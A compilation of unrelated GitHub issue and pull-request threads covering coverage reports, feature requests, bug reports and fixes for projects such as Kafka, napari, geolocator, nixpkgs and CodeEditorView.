I've used codespan for a couple other projects in the past, but none are really public. For a bit of fun I thought I'd write the beginnings of a C compiler, with codespan being used throughout the AST and for diagnostics. I can't say I've had any complaints so far, it's one of those libraries which integrates in seamlessly to the point that you don't actually notice it's 3rd party code :grinning:

This is now released on crates.io!


I want del item,how can I do

66666666

I did not think in that case, I will create a method that cleans the navigation items.


[WIP] UI changes implemented during Wikimedia hackathon 2019

Description (required)
WIP of UI redesign. Fragments are not yet stable and some crashes occur. Creating this PR for code review as suggested by @nicolas-raoul

Codecov Report

Merging #2972 into master will decrease coverage by 0.05%.
The diff coverage is 0%.

@@            Coverage Diff            @@
##           master   #2972      +/-   ##
=========================================
- Coverage    3.69%   3.63%   -0.06%
=========================================
  Files         247     254       +7
  Lines       12213   12392     +179
  Branches     1081    1074       -7
=========================================
  Hits          451     451
- Misses      11728   11907     +179
  Partials       34      34

Impacted Files
Coverage Δ

.../fr/free/nrw/commons/di/FragmentBuilderModule.java
0% <ø> (ø)
:arrow_up:

...fr/free/nrw/commons/settings/SettingsActivity.java
0% <ø> (ø)
:arrow_up:

...fr/free/nrw/commons/media/MediaDetailFragment.java
0% <0%> (ø)
:arrow_up:

...c/main/java/fr/free/nrw/commons/navtab/NavTab.java
0% <0%> (ø)

...w/commons/category/CategoryImagesListFragment.java
0% <0%> (ø)
:arrow_up:

...a/fr/free/nrw/commons/explore/ExploreFragment.java
0% <0%> (ø)

...free/nrw/commons/theme/NavigationBaseActivity.java
0% <0%> (ø)
:arrow_up:

...mmons/contributions/ContributionsMainFragment.java
0% <0%> (ø)

...s/bookmarks/pictures/BookmarkPicturesFragment.java
0% <0%> (ø)
:arrow_up:

...ava/fr/free/nrw/commons/nearby/NearbyFragment.java
0% <0%> (ø)
:arrow_up:

... and 23 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 12883e3...2302fca. Read the comment docs.


Consider adding 'opens(...)' to module DSL

Hi,
I've been looking around, and call me stupid, but I can't seem to find a way to add the "opens package;" to the module-info file.
Is this intentional and is there a proper replacement?

@Wexalian there's no functionality to explicitly declare a package as "open" for a friendly module; however, all generated module-info descriptors have the open attribute set by default so that all the available classes in a patched JAR will be available for reflective access.
https://github.com/jjohannes/extra-java-module-info/blob/213be49eed8e53692fa38f0ad587794433499141/src/main/java/de/jjohannes/gradle/javamodules/ExtraModuleInfoTransform.java#L192

Thanks for pointing that out @iherasymenko.
IIRC I did it like that with the reasoning that if you patch a Jar that was never intended to be a Module in the first place, you probably need everything to be open for it being still workable.
However, if there is a use case for doing it differently, I think the plugin could be easily extended with something like this:
    module("commons-cli-1.4.jar", "org.apache.commons.cli", "3.2.2") {
        openModule.set(false) // The convention/default would be "true" here to keep the current behavior
        opens("org.apache.commons.cli") // Same as 'opens org.apache.commons.cli' in module-info.java syntax
    }

I am happy to accept contributions for this.

The feature is now added with the following syntax:

opens("org.apache.commons.collections.buffer") open a package (automatically "closes" the module)
closeModule() (to turn open module into module without opening any package)


History of last opened files

🚀 Feature

It will be nice to have a list of the last opened files with one click open.
Motivation
When developing a new algorithm/widgets etc it will be nice to fast open one of the last files to check how it works now.
Also when would like to discuss with someone else the result, it is nice to preview few last files.

Pitch
Add "Last files" entry to "File" menu with a list of last opened files. This list should also remember the hook used for reading a file and try to discover which hook to use only if the saved one is not
available.
Something like:

It should be preserved between sessions.
Alternatives
Opening napari from the console using shell history, but this not will well work with a bundle, windows cmd etc.

This is indeed a very nice feature!

I'd be supportive of this. We'd probably behind the scenes have to store which "File Open ..." method was called (we have three), but that seems very doable!

I'd be supportive of this. We'd probably behind the scenes have to store which "File Open ..." method was called (we have three), but that seems very doable!

There is a need to remember exactly which function is used.

Closed by #2467


Salvage dsb branch

Rebases the majority of changes from iss119-fire-dsb-module onto a post-refactor devel.
Compiles and runs, but there are errors in the fire module that need to be addressed in future branches, including soil non-recovery after fire.

Even though the fire module is not yet complete, a new format of fire input files is implemented and functional which resolves #119.

@rarutter, I am good to merge this PR too, provided that we leave the default of dsb off for now (which it looks like is the current setting).

Sounds good. I'll see about merging this today.


Documenting macroutils.jl functions

Codecov Report

Merging #29 (5b80186) into main (26732b3) will increase coverage by 0.71%.
The diff coverage is 100.00%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff             @@
##             main      #29      +/-   ##
==========================================
+ Coverage   95.00%   95.71%   +0.71%
==========================================
  Files           7        7
  Lines         140      140
==========================================
+ Hits          133      134       +1
+ Misses          7        6       -1

Impacted Files
Coverage Δ

src/macroutils.jl
93.50% <100.00%> (ø)

src/tables.jl
100.00% <100.00%> (+4.54%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Move LED testing keywords to library

Move the keywords from the LED test suite to a library.  This would make them callable by other test suites if needed.

https://gerrit.openbmc-project.xyz/#/c/8983/


Only the first line of a git message is included in the changelog

if I have a multiline commit message:
eg:
fix: something A
fix: something else B
only the first line gets included in the changelog.
I expect all the content to end up in the changelog.

No, as that wouldn't respect the Conventional Commits specification.
A commit should be a single fix / feature.
The message body is to optionally provide additional details / context for that commit.


Rename tab shortcut

It would be very nice to have a shortcut to "rename tab".

Original issue reported on code.google.com by<EMAIL_ADDRESS>on 1 Apr 2014 at 8:25

We can certainly add this feature without too much trouble!


test:updated routes with intercepts

updated routes with intercepts

/ok-to-test sha=99e4ca5

/ok-to-test sha=2432122


Your icon set was featured in a Vaadin blog

Hi BrightSpaceUI team,
Just recently, I wrote the blog Top 3 Polymer icon sets for your web app featuring d2l-icons set. You have a freaking cool icon set.
Feel free to drop a comment down below the comment section or in this tweet.
Cheers,
Binh

Hey @dlockhart, seems like your team are very busy but I'm just gonna bother you a bit and ask if I can add Vaadin Directory badges to BrightSpaceUI components. They get a really good reputation among the community and adding the badge would give our users more access to your components.


KAFKA-6246: Dynamic update of listeners and security configs

Dynamic update of listeners as described in KIP-226. This includes:

Addition of new listeners with listener-prefixed security configs
Removal of existing listeners
Password encryption
sasl.jaas.config property for broker's JAAS config prefixed with listener and mechanism name

Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/240/

@hachikuji Thanks for the review, have addressed the comments.

@hachikuji Thanks for the review (and for merging the other PR). I have addressed the comments and rebased.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/297/

@hachikuji Thanks for the review. Addressed the comment and removed unused code.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/300/

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/301/

@hachikuji Thanks for the review. There was a timing issue with DynamicBrokerReconfigurationTest#testAdvertisedListenerUpdate(). I have pushed a fix for that. Don't think the other test failures are related to the PR.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/311/

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/312/

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/kafka-pr-test-coverage/313/

@hachikuji Can you take a look at the last two commits before I merge? Thank you!
The first is the fix for the transient test failure in DynamicBrokerReconfigurationTest#testAdvertisedListenerUpdate(). I have run the tests locally 100 times and it passed and the builds have passed too.
I thought the other test failure was unrelated, but it turns out it was caused by EndPoint#toString added in this PR. I reverted that change since the default toString is good enough and we have been using it in other log entries anyway. The test failure was actually due to an existing bug in TestUtils.deleteBrokersInZk which didn't cause an issue before because the old toString produced a valid (but wrong) ZK path, but the new one produced an invalid ZK path. Fixed TestUtils.deleteBrokersInZk as well.

LGTM, thanks for fixing the tests. I will merge to trunk and 1.1.


VM/LMS SL issues

🐛 Bug Report
Currently
VM collection log items: heat-proof container (item ID: 21539) and an ash-covered tome (item ID : 21697)
and
LMS collection log items: Godsword special attacks (No associated items)
Are CL only slots, not automatically added to the SL even though an item version isn't provided for those with associated ID's
Additional issue:
CL capes is also missing new LMS capes.

▪ Golden armadyl special attack [24868]
▪ Golden bandos special attack [24869]
▪ Golden saradomin special attack [24870]
▪ Golden zamorak special attack [24871]

only one I got but they exist from UMB on bso


Support for more mouse inputs

Hi,
I was building a m4p client for Linux (written in Go) and noticed the following events are missing:

[ ] Mouse click (click)
[ ] Touch (touchmove, touchstart, touchend, touchcancel?)
[ ] Scroll (scroll)

We can easily add click and touch via event listeners.
Touch is relevant for two use-cases:

If the remote moves slightly when pressing down the button (scroll wheel) it may result in click becoming touchmove
Performing actual touch-based "scrolling" (on the client side, these can be translated into vertical/horizontal scroll events or possibly even emulating touch)

Scroll is a bit harder because, unless I'm mistaken, we'd need a UI element that is scrollable in the foreground to trigger scroll events in the browser. Currently the overlay (div) that contains the settings button is the top-most element, scrolling events would be directed towards it (if it was scrollable). A scrollable element would have to either be above it (z-index) or inside it.
Another option would be to look for lower level (hardware) inputs from the magic remote and get button presses and/or scroll events from there.
Do these features sound like a good fit for magic4pc? (I can submit some PRs once I have something working.)

Cool! I'm definitely interested in a PR when you have one.

wheel event is the event you are looking for for scrollwheel capture.

@Informatic not sure how I missed that, that's exactly what I wanted to find 😄. Thanks for the tip!


Correcting idle timeout

Rebase of https://github.com/voxpupuli/puppet-iis/pull/125 with tests

thanks \o/


rkt: bug fix: -interactive doesnt work with args

rkt complains with "run: interactive option only supports one image" when trying to execute an image in interactive mode with arguments

Good catch! LGTM

thanks for the fix! :+1:


Crash on deleting left curly brace

Steps to reproduce

Paste two curly braces (( into the editor
Press the backspace/delete key

or

Insert three curly braecs ((( by pressing the ( key
Move the cursor to the end of line
Press the backspace/delete key three times

Crash logs
...
[General] An uncaught exception was raised
[General] *** -[NSConcreteTextStorage attribute:atIndex:effectiveRange:]: Range or index out of bounds
6   Foundation                          -[NSMutableAttributedString replaceCharactersInRange:withAttributedString:] + 112
7   UIKitCore                           __50-[UITextInputController _insertText:fromKeyboard:]_block_invoke + 120
8   UIFoundation                        -[NSTextStorage coordinateEditing:] + 48
9   UIKitCore                           -[UITextInputController _insertText:fromKeyboard:] + 356
10  UIKitCore                           -[UITextInputController deleteBackward] + 164
11  UIKitCore                           -[UITextView deleteBackward] + 40
12  UIKitCore                           -[UIKBInputDelegateManager _deleteBackwardAndNotify:reinsertText:] + 432
13  UIKitCore                           -[UIKeyboardImpl deleteBackwardAndNotify:reinsertText:] + 52
14  UIKit                               -[UIKeyboardImplAccessibility deleteBackwardAndNotify:] + 56
15  UIKitCore                           -[UIKeyboardImpl performTextOperationActionSelector:] + 1316
16  UIKitCore                           -[UIKBRTIPartner _queued_performTextOperations:resultHandler:] + 948
...

Environment
iPad OS 16.4.1
CodeEditorView: d88df3b

Could you please check whether you can reproduce this problem with the latest release (0.11.0): https://github.com/mchakravarty/CodeEditorView/commit/56d177538bc2749464adad1b5c889963dd453d7f
I just tried and didn't manage to reproduce it with that version.

@mchakravarty I've confirmed the bug could not be reproduced with the latest release. Thank you, I'll close this issue.

Thanks for the confirmation.


Speed up fast compiles config

On my late 2014 macbook, this makes my incremental builds take half as long. Mileage will vary depending on hardware and OS.
This speeds up compiles by reducing how much debug info is included to 'line tables only'
See: https://doc.rust-lang.org/nightly/cargo/reference/profiles.html#debug

Scoping it to macos sounds reasonable. The link time differences differences has been much less significant for me on linux and windows while using lld. (though, I am still looking forward to split dwarf / debuginfo fission in rustc https://github.com/rust-lang/rust/issues/34651 ).

Yeah on linux the change for me is ~0.05 seconds, which is measurable but im not sure its worth a reduced debugger experience.

If we can scope this to macos for now that would be great.

Thanks for the feedback!
There doesn't appear to be a way to make that particular config mac only https://doc.rust-lang.org/cargo/reference/config.html
So, I've commented it out and added a description so it's upto the user to uncomment it if they want it.


Getting current location when the app in minimized or screen in locked

🐛 Bug Report
I am working on an app which requires me to track the user location consistently still the app is open. While it works great till the screen is on as soon as the screen is turned off (Phone locked) the getLocation starts returning the same location which I had before turning the screen off.
As I am plotting these locations on a graph, this results in a same point till the screen turns on and when it does the new location is delivered creating a long straight line.
Expected behaviour
Get the location even when the screen of off
Reproduction steps
Create a simple app and print current location every second
Check the debug statements when screen if off
Configuration
Version:
geolocator: ^5.1.5
Platform:

[x] :iphone: iOS
[X] :robot: Android

Hi,
I have the same problem. The moment the app goes background or when the phone is locked, the position returned is the same. I have to open the app so the geolocation is changed to the new position.
Did you manage to solve this?

Just wondering, maybe you need a wakelock for it to work, or something to enable background location to work.

Yep, in the end i used the workmanager to wake the device and make a call to get the position.

Yep, in the end i used the workmanager to wake the device and make a call to get the position.

@luisestudioalfa may we have a look at your solution? I mean, could you post code or explain what exactly you did?

Fixed in version 6.0.0 (although acquiring location updates in the background is not support, this is tracked in #53)

Sorry for posting it here again, but if the screen is locked, Geolocator should still work on 6.0.0^? or is this background support?
I am adding the position on a list like the code below, but if the screen is locked, no position is added. I am using a Samsung to test (model SM-A107M and Android 10) with "always" GPS config. Am I losing something?
        .getPositionStream(desiredAccuracy: LocationAccuracy.best)
        .listen((Position position) {
      setState(() {
        _positions.add(position);
      });
}),```

I started learning to code this year, sorry if it is a dummy question.
Thanks for the amazing package


Current ghc (8.0.2) has lots of missing packages.

Issue description
Please see the err.log captured by following command:
$ nix-shell -I https://github.com/NixOS/nixpkgs/archive/master.tar.gz -p ghc --run 'ghc-pkg check' 2>err.log

In contrast ghc784, ghc821 and ghcHEAD doesn't to have any problem
$ nix-shell -I https://github.com/NixOS/nixpkgs/archive/master.tar.gz -p haskell.compiler.ghc821 --run 'ghc-pkg check'

Related issues
https://github.com/NixOS/nixpkgs/issues/30949

I don't think this is a nix problem at all.
All the paths in the log are local paths which are obtained by using cabal with ghc directly rather than delegating package management to nix.
Is #30948 the actual problem you are having?

@mpickering Don't you have any problem running this command?
$ nix-shell -I https://github.com/NixOS/nixpkgs/archive/master.tar.gz -p ghc --run 'ghc-pkg check' 2>err.log

Also I wonder when will ghc821 be adapted as the default nixos.ghc?

Once stackage LTS comes out.

Closed as no longer reproducible using master branch.


Welcome to provide articles on the SolidUI?

The original intention of this issue

Collect documents about SolidUI written by developers, including but not limited to SolidUI installation/source code analysis/architecture/experience sharing, etc., so that third-party documents can be obtained and viewed more centrally.
Listen to the voice of the community and attract more developers to participate in the contribution of the project documentation.

What we expect from you
Please submit a comment in this issue,You can refer to the following sample answer:

【SolidUI source code analysis】XXX
【SolidUI getting started one】XXX
【SolidUI getting Started Part 2】XXX
【SolidUI pit notes】XXX
........

Thanks again for your participation! Your support is the motivation for us to move forward.
SolidUI community

这个 issue 的出发点

收集开发者编写的关于SolidUI的文档，包括但不仅限于SolidUI的安装/源码解析/架构/经验分享等，让第三方文档能够更集中的获取和查阅。
聆听社区的声音，吸引更多的开发者参与到项目文档的贡献中来。

我们期待您能提供
在此提交一条评论，可以参考下面的示例：

【SolidUI源码解析】XXX
【SolidUI入门篇一】XXX
【SolidUI入门篇二】XXX
【SolidUI采坑笔记】XXX
........

多谢您的支持，您的支持是我们前进的动力！
SolidUI社区

https://github.com/CloudOrc/SolidUI/issues/11

DocsGPT/Hypercrx ChatGPT chat plugin features

Slack workspace SolidUI integrates Claude use process, replacing GPT3.5

SolidUI AI generates visualization, a pioneering open source project, version 0.1.0 function explanation


'insert_one' method should return pymongo.results.InsertOneResult()

For consistency,
pymongo ref:
pymongo.results.InsertOneResult(inserted_id, acknowledged)

resolved